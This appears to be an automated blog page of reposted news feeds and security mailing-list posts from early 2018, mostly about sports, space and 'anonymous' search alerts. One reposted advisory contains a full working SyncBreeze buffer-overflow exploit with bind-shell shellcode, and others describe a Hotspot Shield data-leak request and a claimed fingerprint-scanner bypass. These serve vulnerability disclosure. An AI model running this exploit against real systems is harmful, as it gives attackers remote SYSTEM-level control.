Latest YouTube Video

Saturday, February 3, 2018

Anonymous proxy server list

Top Free Updated Premium Proxy Servers List, anonymous proxy, https/ssl proxy, http proxy, socks proxy, transparent proxy, ip/port proxy, squid proxy and mikrotik proxy. Sep 15, 2016 proxy sites list vpn. Update: Top 130 Free Proxy Sites – Free Proxy Server List 2016. Internet proxy servers let you hide ...

from Google Alert - anonymous http://ift.tt/2DZ9JQ2
via IFTTT

Texans' J.J. Watt named Walter Payton Man of the Year over Panthers' Greg Olsen and Ravens' Benjamin Watson (ESPN)

from ESPN http://ift.tt/17lH5T2
via IFTTT

mlp/ - Magicless Anonymous #27

Magicless Anonymous #27 - "/mlp/ - Pony" is 4chan's imageboard dedicated to the discussion of My Little Pony: Friendship is Magic.

from Google Alert - anonymous http://ift.tt/2nIm2sO
via IFTTT

FM Kotzias condemns anonymous threat against his life

Foreign Minister Nikos Kotzias posted a tweet on Friday pointed to "specific systems, newspapers and TV channels" as the moral perpetrators of the threats made against his life that he received in an anonymous letter. Citizen Protection Minister Nikos Toskas revealed earlier in the day that Kotzias had ...

from Google Alert - anonymous http://ift.tt/2nGey9P
via IFTTT

Grant view to anonymous and authenticated users role, grant update for group referenced users

What i want to achieve: All published content will be visible to all users, including anonymous users. The right to update nodes is depending on different groups (referenced by terms of a group vocabulary). As far as I understand I have to: Add a field with a role reference (field_pbf_role) and grant view to ...

from Google Alert - anonymous http://ift.tt/2GHA9r4
via IFTTT

Earthshadow and the Beehive


The Earth's dark umbral shadow is shaped like a cone extending into space. Of course its circular cross section at the distance of the Moon is more easily seen during a lunar eclipse. In fact, in this composite telephoto image from Earth's night side on January 31, the Earth's shadow has taken on a reddish tinge. The extent of the shadow along the lunar orbit is illustrated by aligning three frames taken just before the start, near the middle of, and just after the end of the total eclipse phase that lasted about 76 minutes. At the upper right and more easily seen during the eclipse's darker total phase is M44, one of the closest large star clusters. A mere 600 light-years away, M44 is also known as the Praesepe or the Beehive Cluster. via NASA http://ift.tt/2BRYrLl

Friday, February 2, 2018

Microsoft/TypeScript

@mjbvz mjbvz changed the title from debug failure for 'references' to anonymous class constructor to debug failure for 'references' on anonymous class constructor 43 minutes ago ...

from Google Alert - anonymous http://ift.tt/2BSdhS8
via IFTTT

Ravens: Steve Bisciotti says he thought about firing John Harbaugh after team missed playoffs this season (ESPN)

from ESPN http://ift.tt/17lH5T2
via IFTTT

Anonymous bitcoin philanthropist donates $5 million to medicine foundation

By Jemima Kelly. LONDON (Reuters) - An anonymous benefactor has donated $5 million in bitcoin to the California-based Open Medicine Foundation, the non-profit research organization said on Friday. The OMF said it had received $4 million on Friday, having received $1 million from the same donor ...

from Google Alert - anonymous http://ift.tt/2EdGX1z
via IFTTT

[FD] SSD Advisory – Hotspot Shield Information Disclosure

SSD Advisory – Hotspot Shield Information Disclosure Full report: http://ift.tt/2rQCv3B Twitter: @SecuriTeam_SSD Weibo: SecuriTeam_SSD Vulnerability Summary The following advisory describes a information disclosure found in Hotspot Shield. Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.” Credit An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. Vendor response “Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket” Vulnerability details The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895. The web server using JSONP and hosts sensitive information, including, configuration. User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

Source: Gmail -> IFTTT-> Blogger

Re: [FD] Banknotes Misproduction security & biometric weakness

There's some detail in the Vulnerability magazine link, reproducing here so there's a record We discovered an anomaly in the hologram section of the new printed 20€ & 50€ banknotes. The security sign on the banknotes are produced with a transparent film. In the middle of the new hologram of the 20 & 50€ banknotes is a picture of a women and different fingerprint-like structures. At the moment we noted the problem, we used a microscope to look closer. After an internal discussion, that the security sign could maybe used for biometrics authentication processes, we tested the hologram for usage on different fingerprinter-scanners like asus pro laptop, eikon, samsung galaxy S7/8 and the apple iphone v11. All mechanisms could be bypassed using the hologram of the banknotes to fake a fingerprint which is accepted by the fingerprint-scanner system. After that, the attacker is able to relogin with the universal hologram. Finally, we were able to bypass the the biometric identification process of the different devices. No system is able to identify, that the hologram is not a real fingerprint. At the end, we figured out in the testing process that the holograms can be used to add via write and auth via read. There are now muliple problems in connection to the security issue. 1. Fingerprint - Reader & Writer (Mobile Devices) The end user devices like phones with fingerprinter sensors of manufacturers like samsung, apple, huawei & co are permanently vulnerable to this new type of attack. The sensor does not approve the reflection of the hologram in the read and write mode. It interprets the security signs as features of a real fingerprint. Thus results in an easy bypass using any 20€ or 50€ banknotes after registration. To use an attacker only requires to use his finger behind the hologram to bypass the fingerpulse check of the idevice. All other mechanism are not accurate approving the content during the sensor check. 2. Biometric Security in Europe Each time the EZB produces more of the affected banknotes, the biometric security in all over europe countries is generally weakened. In the near future the EZB plans to inetrgate the holograms to any banknote (5€, 10€, 100€ & Co.). This would be a crazy incident for all biometric systems using a fingertip to authenticate because of any person is by now able to perform those typ of attacks against an environment or service. 3. Fake fingerprints to go Any person that has access to a system could use a hologram of a european banknote to fake his fingerprint. Even the once which do not have the expertise to fake it because in case of a publication, the government would have to reckon with it. 4. Universal fingerprint as key One time a hologram is written to a database, any attacker could use another hologram of the same banknote series to bypass the security mechanism to finally get access to the environment. Also administrators or moderators are able to setup a universal fingerprint key to any dbms for further entrance. 5. Save content in biometric signs or read data The problematic could be used by security agencies to save data in the biometric sign or to use them to get access to protected environments. An agent could for example save data variables in the biometric sign of the banknote to exfiltrate information. 6. Information in the hologram In the special case of a fingerprint entry is generated by mathematical variables with plain information, the content can be saved as plain-text information to extract the binary information. The binary information of the hologram fingerprint can then be decyphered by using different unknown one-time pad keys. So the data of the fingerprint is translated to binary code with a fingerprint device (open source) in plain-text. The plain-text is then used to identify chiffre inside the security sign hologram. 7. Save your Privacy At that point people can as well use the hologram to authenticate for a system or to a mobile device. In case of a user do not want to save his personal fingerprint to any untrusted device. Then they can by now use the hologram to save a fingerprint to authenticate the full anonym way. 8. Bypassing the biometric security with the help of banknotes Spread Exposition Exploitation Detection LOW MODERATE MODERATE EASY Problem Description & Causes Reference 1 has proved the biometric security of European bills for counterfeiting a fingerprint in a PoC. Possible threat scenarios 1. Avoiding person-related biometric backup in mobile devices, such as the Apple iPhone, u.v.m. 2. If necessary Falsification of the biometric identifiers of identity documents. Fake ID documents can be sold on the black market with a one time registered fingerprint. The number of copies and persons is irrelevant. Countermeasures: 1. Generate Awareness among Manufacturers and Users of Smart Meter Biometrics. 2. Educate data feeders so that fingers are free of foreign matter (e.g., glue, or the like) and checked. 3. Organizational measures a) Review of existing biometric profiles on devices b) Modify process of identification of biometrics c) Check the biometric data for duplications in IT systems and databases

Source: Gmail -> IFTTT-> Blogger

[FD] Flexense SyncBreeze Entreprise 10.3.14 Buffer Overflow (SEH-bypass)

Hi List, Description: A buffer overflow vulnerability in "Add command" functionality exists in Flexense’s SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege. Author: @ryantzj www.ryantzj.com Homepage: http://http://www.syncbreeze.com/ CVE-ID: CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996 CVSSv3 Score: 9.9 CVSSv3 Vector (/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Proof of Concept #!/usr/bin/python import socket buffsize = 5000 #msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars '\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b' -f python -v shellcode shellcode = "" shellcode += "\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e" shellcode += "\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4" shellcode += "\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd" shellcode += "\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1" shellcode += "\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5" shellcode += "\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb" shellcode += "\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48" shellcode += "\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0" shellcode += "\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98" shellcode += "\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec" shellcode += "\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12" shellcode += "\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd" shellcode += "\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3" shellcode += "\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee" shellcode += "\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21" shellcode += "\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2" shellcode += "\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9" shellcode += "\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99" shellcode += "\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae" shellcode += "\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce" shellcode += "\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7" shellcode += "\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce" shellcode += "\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e" shellcode += "\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd" shellcode += "\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf" shellcode += "\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf" shellcode += "\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97" shellcode += "\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5" shellcode += "\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3" shellcode += "\x93\xad\x7a\x4c" jmp2 = "\xE9\x42\xFE\xFF\xFF" payload = “A”*(432-len(shellcode)-20) #eip offset at 436 payload += "\x90"*12 payload += shellcode payload += "\x90"*8 payload += "\x71\x06\x70\x04" #NSEH, a jump net payload += "\xB1\x41\x01\x10" #SEH payload += "\x90" payload += jmp2 #jmp back to shellcode payload +=“C”*(buffsize) #ends at 83 bytes buffer ="POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1\r\n" buffer +="Host: 192.168.38.154\r\n" buffer +="Content-Type: application/x-www-form-urlencoded\r\n" buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" buffer +=“Content-Length: ”+str(len(payload)+13)+"\r\n\r\n" buffer +=“command_name=”+payload print “[*] Sending evil HTTP request to syncbrz” print “[*] exploited by @ryantzj” print “[*] Please modify session id and target host to get exploit working” expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect((“192.168.38.154”,80)) expl.send(buffer) print expl.recv(1024) expl.close Disclosure Timeline December 29, 2017 1: Vulnerability acquired by ryantzj December 30, 2017 2: Informed vendor via support@syncbreeze.com January 31, 2018 3: Exploit published Regards, ryantzj

Source: Gmail -> IFTTT-> Blogger

[FD] Geovision Inc. IP Camera/Video/Access Control Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access

Ravens: GM Ozzie Newsome will step down after 2018 season, but remain with the team, says Steve Bisciotti (ESPN)

from ESPN http://ift.tt/17lH5T2
via IFTTT

ISS Daily Summary Report – 2/01/2018

NanoRacks DreamUp Xtronaut Crystal Growth (DreamXCG):  The crew used hot water from the PWD to dissolve sugar crystals in two pouches and later transfer sugar water into the pouches with seeded dowels. This investigation teaches students about the effects of microgravity on crystal formations using near-identical flight kits flown and operated aboard the International Space … Continue reading "ISS Daily Summary Report – 2/01/2018"

from ISS On-Orbit Status Report http://ift.tt/2BPUuH2
via IFTTT

[FD] Claymore Dual Gpu Miner <= 10.5 Format Strings Vulnerability

Claymore Dual Gpu Miner <= 10.5 Format Strings Vulnerability ======================================================================= product: Claymore's Dual Miner vulnerable version: <= 10.5 fixed version: 10.6 CVE number: - CVE-2018–6317 impact: critical homepage: https://bitcointalk.org/index.php?topic=1433925.0 found: 2018-01-26 by: twitter.com/res1n ======================================================================= Vulnerability overview/description:

Source: Gmail -> IFTTT-> Blogger

Johnson Siding Vfd Uses Anonymous Donation To Buy Protective Gear

The Johnson Siding Volunteer Fire Department in Pennington County received a generous anonymous donation. The $30000 donation will supply 15 firefighters with brand new turnout gear. Turnout gear is used to protect crews when they fight structure fires. Each firefighter will receive a new coat, ...

from Google Alert - anonymous http://ift.tt/2ny6ysl
via IFTTT

Anschlussers Anonymous

Anschlussers Anonymous by germanyball - A Member of the Internet's Largest Humor Community Anschlussers Anonymous. Italy's misunderstanding. deDSL, E-Mail, einrichten, Add Boomle to your Browser. Read In this lesson you will learn about the Anschluss of Germany and Austria in World War II.

from Google Alert - anonymous http://ift.tt/2BOBDvW
via IFTTT

django-custom-anonymous 0.3

Library provides customization of AnonymousUser in Django. # django-custom-anonymous. Library provides customization of AnonymousUser. Works with Python >= 2.6, >= 3.2, Django >= 1.5, >= 2.0. ## Installation pip install django-custom-anonymous ## Customization Add to `settings`:

from Google Alert - anonymous http://ift.tt/2GEnbdX
via IFTTT

Moonrise Eclipse


This atmospheric picture of a distant horizon looks toward the tall Trisul peaks of India's snowy Himalayan mountains. Taken from a remote location on January 31, brightest star Sirius shines at the upper right. The red Moon rising is gliding through Earth's shadow during the evening's much anticipated total lunar eclipse. Enjoyed across the planet's night side, the eclipse was the first of two total lunar eclipses in 2018, kicking off a good year for moonwatchers. But this was a rare treat. The eclipsed Moon also loomed large near perigee, the closest point in its orbit, during the second Full Moon of the month, also known as a Blue Moon. For the July 27, 2018 total lunar eclipse, the Full Moon will be very near apogee. via NASA http://ift.tt/2EaQqqp

Thursday, February 1, 2018

Asterisk anonymous sip calls

1 Anonymous Calls an overview of the steps that are required to configure Asterisk 1. SIP Trunking Configuration Guide for Asterisk 6. You will need to either set the Asterisk SIP Settings User Guide part of the initial installation of any Asterisk based Anonymous SIP calls means that you will allow any call ...

from Google Alert - anonymous http://ift.tt/2DUPVBh
via IFTTT

Anonymous - General Manager

Anonymous – General Manager. Posted on February 01, 2018. Successful Boston restaurant is seeking a talented General Manager. The candidate must be business, team and service oriented. The ideal candidate must have a strong balance between business acumen and creativity to keep the ...

from Google Alert - anonymous http://ift.tt/2rZEKSn
via IFTTT

I have a new follower on Twitter


Nisham
finding and solving problems with computers. make tools that make people's lives easier.#reactjs #angular #golang #javascript #Entrepreneur
Trivandrum, India

Following: 3584 - Followers: 352

February 01, 2018 at 04:24PM via Twitter http://twitter.com/nishamSe

Goua clone of P2P anonymous BBS shinGETsu in golang

38 b/metadata/md5-cache golang-base 51a1f13e065f1cff4507685d9cc268c7 Decentralized and trustless P2P communications protocol for sending encrypted messages to another person or to many subscribers: TheLugal: go-ipfs-git: 0. Saku - a clone of P2P anonymous BBS shinGETsu. 14.

from Google Alert - anonymous http://ift.tt/2EvtCPJ
via IFTTT

Anonymous proxy

Anonymous proxy. Web. proxies and VPNs are dedicated and,. servers to hide your IP address. server and access blocked content. An anonymizer or an. persons personal computer so they can browse the web anonymously – and. server computer that acts as an intermediary. to surf. It hides your real ...

from Google Alert - anonymous http://ift.tt/2DUappH
via IFTTT

The anonymous call Thoughts

It seems that there are various issues that none of the current anonymous publishing designs have really solved. Regards, Rik. According to the 1 Oct 2008 There is also anonymity while the caller attains something forbidden—ie, a girl or woman's ear for his sexual thoughts. Meerkat told me my hands ...

from Google Alert - anonymous http://ift.tt/2DUc3Yi
via IFTTT

Suppress Warnings to Anonymous Users

I am using the Flickr block and when I got to a page as an anonymous user, I am getting the error: 1 photos were skipped because the requested image size is not available on Flickr. They were uploaded when this size was not offered yet. To include them, use another size or re-upload your photos on ...

from Google Alert - anonymous http://ift.tt/2DSAPIh
via IFTTT

I have a new follower on Twitter


Capterra Project
@CapterraPM provides the latest #projectmanagement industry news and software reviews. Tweets by @CapterraRex1 #PMOT #Agile
Arlington
https://t.co/VomeavA5uB
Following: 2187 - Followers: 1944

February 01, 2018 at 02:09PM via Twitter http://twitter.com/CapterraPM

I have a new follower on Twitter


Dan Saltman
Serial Entrepreneur with focus on consumer web. Founded several companies with multiple exits. Been working on startups for over a decade

https://t.co/8eVdoJdrtc
Following: 23441 - Followers: 23824

February 01, 2018 at 01:29PM via Twitter http://twitter.com/dbl

C anonymous action

C anonymous action. x => x. May tcmay@netcom. The following example demonstrates the use of the Action<T> delegate to print the contents of a List<T> object. Compare(c1. In . 0 C# language are the Action<> object, and anonymous methods. Like this: public ICollection<string> ...

from Google Alert - anonymous http://ift.tt/2nyPcdW
via IFTTT

I have a new follower on Twitter


AngelInvestBoston
Meet founders & angels behind the top tech startups. Angel investor Sal Daher, CFA is your podcast host. Sign up here for live events: https://t.co/RuCiK3tbOf 🤖🚀
Cambridge, MA
https://t.co/G4XEioqhvT
Following: 2743 - Followers: 3322

February 01, 2018 at 11:29AM via Twitter http://twitter.com/angelinvestbos

ISS Daily Summary Report – 1/31/2018

Synchronized Position Hold, Engage, Reorient, Experimental Satellites (SPHERES) SmoothNav: The crew set up the SPHERES work area to activate and check out the hardware and EXPRESS laptop computer (ELC) before conducting the SmoothNav experiment run. SmoothNav develops an estimation algorithm aggregating relative state measurements between multiple, small, and potentially differently instrumented spacecraft. The algorithm obtains … Continue reading "ISS Daily Summary Report – 1/31/2018"

from ISS On-Orbit Status Report http://ift.tt/2rXnDkd
via IFTTT

Crime Stoppers Anonymous

Crime Stoppers Anonymous. Working together to build a stronger, safer community, Crime Stoppers of Michigan is geared for witnesses who are reluctant to speak with the Police. Crime Stoppers is a crime fighting organization operating in 7 counties in South-Eastern Michigan; Wayne Washtenaw, ...

from Google Alert - anonymous http://ift.tt/2DRSVdJ
via IFTTT

Powerful, easy to use project management tool

What are the best aspects of this product? Easy to navigate interface, consolidation of project management, timesheet, expense filing capabilities into one suite. What aspects are problematic or could work better? Although it's easy to get started with the software, I find the home page to be a bit confusing ...

from Google Alert - anonymous http://ift.tt/2EuLn1F
via IFTTT

Anonymous

Menu. Enter. Getting Outside · Art · Power of Life · Light · Stories · Connections to Cherish. See Entries. Getting Outside · Art · Power of Life · Light · Stories · Connections to Cherish · Home>; Art>; Entry Details. Back to List · タイトルはAnonymous. CategoriesArt; Usernamemeeadakhi; TitleAnonymous.

from Google Alert - anonymous http://ift.tt/2DSDNg1
via IFTTT

Meltdown/Specter-based Malware Coming Soon to Devices Near You, Are You Ready?

It has been few weeks since the details of the Spectre, and Meltdown processor vulnerabilities came out in public and researchers have discovered more than 130 malware samples trying to exploit these chip flaws. Spectre and Meltdown are security vulnerabilities disclosed by security researchers earlier this month in many processors from Intel, ARM and AMD used in modern PCs, servers and


from The Hacker News http://ift.tt/2nw58Oc
via IFTTT

The 12 Steps of BPD Anonymous

It's been a 5 Oct 2012 In a way, treating Borderline Personality Disorder with dialectical behavior therapy is very akin to how alcoholism and drug addiction are “treated” in Alcoholics Anonymous and Narcotics Anonymous. There are many 12-Step programs to meet anyone's needs– including programs ...

from Google Alert - anonymous http://ift.tt/2BJxh9q
via IFTTT

Send anonymous whatsapp message online

It is the time to send anonymous text messages with WhatsApp. com/mgp25/WART/tree/master/Old Alternate Separate yourself from the crowd with our ultimate choice of best WhatsApp messages and learn how to backup WhatsApp chat history. Send anonymous messages with Whatsapp Online.

from Google Alert - anonymous http://ift.tt/2noVw8L
via IFTTT

Spoilt, but anonymous - Turkish Airlines

Turkish Airlines: Spoilt, but anonymous - See 12753 traveller reviews, 3842 candid photos, and great deals for Turkish Airlines, at TripAdvisor.

from Google Alert - anonymous http://ift.tt/2Ew5BYO
via IFTTT

Cryptocurrency Mining Malware Infected Over Half-Million PCs Using NSA Exploit

2017 was the year of high profile data breaches and ransomware attacks, but from the beginning of this year, we are noticing a faster-paced shift in the cyber threat landscape, as cryptocurrency-related malware is becoming a popular and profitable choice of cyber criminals. Several cybersecurity firms are reporting of new cryptocurrency mining viruses that are being spread using EternalBlue—the


from The Hacker News http://ift.tt/2BIWwIU
via IFTTT

Cretaceous-Era Dinosaur Prints Found at Goddard Space Flight Center

A newly discovered assemblage of predominantly small tracks from the Cretaceous Patuxent Formation at NASA's Goddard Space Flight Center, Maryland, reveals one of the highest track densities and diversities ever reported (70 tracks, representing at least eight morphotypes from an area of only 2 m2). The assemblage is dominated by small mammal tracks including the new ichnotxon Sederipes goddardensis, indicating sitting postures. Small crow-sized theropod trackways, the first from this unit, indicate social trackmakers and suggest slow-paced foraging behavior. Tracks of pterosaurs, and other small vertebrates suggest activity on an organic-rich substrate. Large well-preserved sauropod and nodosaurs tracks indicate the presence of large dinosaurs. The Patuxent Formation, together with the recently reported Angolan assemblage, comprise the world's two largest Mesozoic mammal footprint assemblages. The high density of footprint registration at the NASA site indicates special preservational and taphonomic conditions. These include early, penecontemporaneous deposition of siderite in organic rich, reducing wetland settings where even the flesh of body fossils can be mummified. Thus, the track-rich ironstone substrates of the Patuxent Formation, appear to preserve a unique vertebrate ichnofacies, with associated, exceptionally-preserved body fossil remains for which there are currently no other similar examples preserved in the fossil record.

from NASA's Scientific Visualization Studio: Most Recent Items http://svs.gsfc.nasa.gov/cgi-bin/details.cgi?aid=4488
via IFTTT

Wednesday, January 31, 2018

Anonymous Donor Gives Four Super Bowl Tickets to Janesville Club

The Janesville Boys & Girls Club is looking to sell four tickets to Super Bowl LII after an anonymous donor gave the organization the tickets. Board of Directors Treasurer Tyler Mosley said the tickets will be sold to raise money for the club as the anonymous donor instructed. According to the organization, ...

from Google Alert - anonymous http://ift.tt/2DPWXak
via IFTTT

South Korea Bans Anonymous Cryptocurrency Accounts

The South Korean government enacted regulations that require all cryptocurrency accounts to be associated with real identities. The move comes amid an investment frenzy over the past few months. The country's government hopes the new regulations will stem speculative trading that has recently ...

from Google Alert - anonymous http://ift.tt/2GAN3XO
via IFTTT

The New York Times Company Retains Anonymous Content to Represent its Film and Television ...

The New York Times Company has retained Anonymous Content to represent its film and television rights. Anonymous Content will work closely with The New York Times to find the right partners and opportunities to bring New York Times journalism and insights to film and television projects.

from Google Alert - anonymous http://ift.tt/2FzEVWp
via IFTTT

Innovators Anonymous

Innovators Anonymous - Internal posters. Recently finished up some amazingly cool project which I've had the pleasure of working with. Designing a business book, which was co-created with a fantastic pool of talented professionals and human beings from a digital innovation studio based in New York.

from Google Alert - anonymous http://ift.tt/2rT9a8T
via IFTTT

Anonymous Reporting

Hardin-Simmons University offers anonymous reporting of incidents of sexual assault, harassment, and violence through a program called STOPit. Anyone with knowledge of an incident can use the app or website to report the incident. You also have the ability to attach any video or photo evidence as ...

from Google Alert - anonymous http://ift.tt/2GzPeuV
via IFTTT

1:45 Feel Good - Woman Wakes Up With Anonymous Gift After Financial Stress

1:45 Feel Good - Woman Wakes Up With Anonymous Gift After Financial Stress. Wednesday, January 31, 2018 1:11 p.m. by Corey Carter. Most of us would call this "A Dream Come True." For Ella Johannessen of England, it was real-life. This past Saturday she was traveling by train when she took a ...

from Google Alert - anonymous http://ift.tt/2E64pNQ
via IFTTT

Critical Oracle Micros POS Flaw Affects Over 300,000 Payment Systems

Oracle has released a security patch update to address a critical remotely exploitable vulnerability that affects its MICROS point-of-sale (POS) business solutions for the hospitality industry. The fix has been released as part of Oracle's January 2018 update that patches a total of 238 security vulnerabilities in its various products. <!-- adsense --> According to public disclosure by


from The Hacker News http://ift.tt/2GzSjeC
via IFTTT

Assign anonymous flag when user creating an account and/or login

Hi, Do you know if it is possible to assign the flags of an anonymous user to an authenticated user when creating an account and / or after logging in? Thank you in advance for your help.

from Google Alert - anonymous http://ift.tt/2DQUlsU
via IFTTT

ISS Daily Summary Report – 1/30/2018

Personal CO2 Monitor Sensor Calibration: Today the crew will perform a single point calibration of the Personal CO2 monitors using and iPad and readings from a Major Constituent Analyzer (MCA) sample port. The Personal CO2 Monitor demonstrates a system capable of unobtrusively collecting and downlinking individual crew members’ CO2 exposure for weeks to months. This … Continue reading "ISS Daily Summary Report – 1/30/2018"

from ISS On-Orbit Status Report http://ift.tt/2nu5SU4
via IFTTT

Update Your Firefox Browser to Fix a Critical Remotely Exploitable Flaw

Mozilla has released an important update for its Firefox web browser to patch a critical vulnerability that could allow remote attackers to execute malicious code on computers running an affected version of the browser. The update comes just a week after the company rolled out its new Firefox Quantum browser, a.k.a Firefox 58, with some new features like improved graphics engine and


from The Hacker News http://ift.tt/2DOQ70W
via IFTTT

eFile4Biz Review: Terrible service by Anonymous Reviewer

What are the best aspects of this product? Nothing. Very difficult to use. not intuitive at all. What aspects are problematic or could work better? They could wait before submitting my taxes without my permission. I was waiting to receive one more 1099 from a contractor before submitting my taxes when I ...

from Google Alert - anonymous http://ift.tt/2ErWUhY
via IFTTT

[FD] SEC Consult SA-20180131-0 :: Multiple Vulnerabilities in Sprecher Automation SPRECON-E-C, PU-2433

SEC Consult Vulnerability Lab Security Advisory < 20180131-0 > ======================================================================= title: Multiple Vulnerabilities product: Sprecher Automation SPRECON-E-C, PU-2433 vulnerable version: <8.49 (most vulnerabilities, see "Vulnerable version" for details) fixed version: 8.49 (most vulnerabilities, see "Solution" for details) CVE number: - impact: Medium homepage: https://www.sprecher-automation.com found: 2017-08-15 by: T. Weber, C.A. (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description:

Source: Gmail -> IFTTT-> Blogger

The First Explorer


Sixty years ago, on January 31, 1958, the First Explorer was successfully launched by the Army Ballistic Missile Agency on a Jupiter-C rocket. Inaugurating the era of space exploration for the United States, Explorer I was a thirty pound satellite that carried instruments to measure temperatures, and micrometeorite impacts, along with an experiment designed by James A. Van Allen to measure the density of electrons and ions in space. The measurements made by Van Allen's experiment led to an unexpected and then startling discovery of two earth-encircling belts of high energy electrons and ions trapped in the magnetosphere. Now known as the Van Allen Radiation belts, the regions are located in the inner magnetosphere, beyond low Earth orbit. Explorer I ceased transmitting on February 28, 1958, but remained in orbit until March of 1970. via NASA http://ift.tt/2Gxjab3

Tuesday, January 30, 2018

I have a new follower on Twitter


tedepstein
CEO of @RepreZen_API. Seeking and occasionally finding profound insights into API design & Microservices @ http://t.co/7YG15YRUx8. Like2Code, but Live2Model.
New York, USA
https://t.co/M8QTMWPfcD
Following: 21309 - Followers: 21290

January 30, 2018 at 03:27PM via Twitter http://twitter.com/tedepstein

Anonymous user 8559a7

Developer Information. Name, Anonymous user 8559a7. User since, Nov. 2, 2017. Number of add-ons developed, 1 theme. Average rating of developer's add-ons, Not yet rated. View all. Themes I've created. My Little Pony Friends. by Anonymous user 8559a7. 0 Daily Users. Add. My Reviews.

from Google Alert - anonymous http://ift.tt/2rMLhzu
via IFTTT

Re: [FD] Banknotes Misproduction security & biometric weakness

Anonymous proxy

anonymous proxies. and unblock web sites like Facebook, Twitter, ThePirateBay,. are used to hide information about a. when browsing the web. accesses the Internet on the users behalf, protecting personal information by. are different than HTTP and SOCKS. It hides your real IP. anonymous. is a tool ...

from Google Alert - anonymous http://ift.tt/2rPgpP3
via IFTTT

ISS Daily Summary Report – 1/29/2018

USOS ExtraVehicular Activity (EVA) 48 status:  Over the weekend, ground teams were able to identify a root cause and a fix for the Space Station Remote Manipulator System (SSRMS) Latching End Effector (LEE) anomaly seen after USOS EVA 47.  Because of this, the EVA to return the LEE to the configuration prior to EVA 47 … Continue reading "ISS Daily Summary Report – 1/29/2018"

from ISS On-Orbit Status Report http://ift.tt/2DMVYnc
via IFTTT

LiveAgent Review: WOW by Anonymous Reviewer

What are the best aspects of this product? All in one place. Access anywhere. Flixibility Plugins. What aspects are problematic or could work better? Call button doesnt work from mobile devices, i am disappointed about it. What features/services would you like to see in future versions of this product?

from Google Alert - anonymous http://ift.tt/2DOpu0d
via IFTTT

My Caller ID Appears as Anonymous on Outbound Calls

When you make outbound calls Anonymous is displayed on the recipient's phone instead of your name and number.

from Google Alert - anonymous http://ift.tt/2DLSm96
via IFTTT

I have a new follower on Twitter


Torr Virtuoso



Following: 29 - Followers: 2

January 30, 2018 at 07:32AM via Twitter http://twitter.com/Dan9000Torr

Advocacy Group Fights Bill to Keep Lottery Winners Anonymous

A local free speech advocacy group is denouncing a bi-partisan proposal being considered by the state Senate to allow lottery winners to remain anonymous. The Georgia First Amendment Foundation says in a statement that allowing the government to hand out millions to private citizens without a ...

from Google Alert - anonymous http://ift.tt/2DVnhPP
via IFTTT

Venus at Night in Infrared from Akatsuki


